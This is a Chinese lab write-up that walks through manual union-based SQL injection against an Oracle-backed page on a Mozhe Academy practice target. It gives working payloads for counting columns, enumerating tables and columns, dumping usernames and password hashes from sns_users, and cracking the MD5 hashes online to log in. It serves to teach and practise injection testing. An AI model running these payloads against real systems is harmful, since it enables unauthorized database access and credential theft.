一、SQL手工注入漏洞测试(Oracle数据库)
本文以墨者学院靶场为例,演示Oracle数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.64.48:49921/new_list.php?id=1
二、注入步骤详解(如下指令去掉了id之前的内容)
1. 判断字段数量
sql
id=1 order by 3
通过递增order by后的数字,当报错时说明超出字段数。本例中order by 2不报错,order by 3报错,说明有2个字段。
2. 确定回显位置
sql
id=1 union select 'null','null' from dual
使用null占位,第1、2列会回显数据。
3. 获取数据库信息
sql
id=1 union select (SELECT global_name FROM global_name),'null' from dual
使用global_name
获取数据库全局名称。
4. 获取表名
模糊查询表名
sql
id=1 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'null' from dual

5. 获取字段名
获取首个字段
sql
id=1 union select (select column_name from user_tab_columns where rownum =1 and table_name='sns_users' ),'null' from dual

获取其他字段
sql
id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name != 'USER_NAME'),'null' from dual

为什么要排除已查字段?
- Oracle没有类似MySQL的
limit offset
语法 rownum=1
只能获取第一条记录- 通过
column_name != '已获取字段名'
可以获取下一条记录 - 确保完整枚举所有字段
6. 获取数据
获取首条记录
sql
id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

排除已获取记录
sql
id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME != 'zhong'
id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME != 'zhong' and USER_NAME != 'hu'
为什么要用排除法获取数据?
- Oracle的
rownum
限制导致无法直接获取第N条记录 - 通过
USER_NAME != '已知用户名'
可以遍历所有记录 - 这是Oracle环境下最可靠的数据枚举方法
- 可以确保不遗漏任何数据
7. MD5解密后,手动登录,获取Key
MD5工具地址:https://www.cmd5.com/
三、关键指令解析
指令/函数 | 说明 | 典型应用场景 |
---|---|---|
order by |
判断字段数量 | 确定UNION查询的列数 |
union select |
联合查询 | 获取系统数据 |
dual |
Oracle虚拟表 | 用于不需要真实表的查询 |
global_name |
数据库全局名 | 获取当前数据库信息 |
user_tables |
用户表视图 | 枚举数据库表 |
user_tab_columns |
用户列视图 | 获取表结构 |
rownum |
行号限制 | Oracle特有的分页方式 |
not in /!= |
排除查询 | 解决rownum限制的关键 |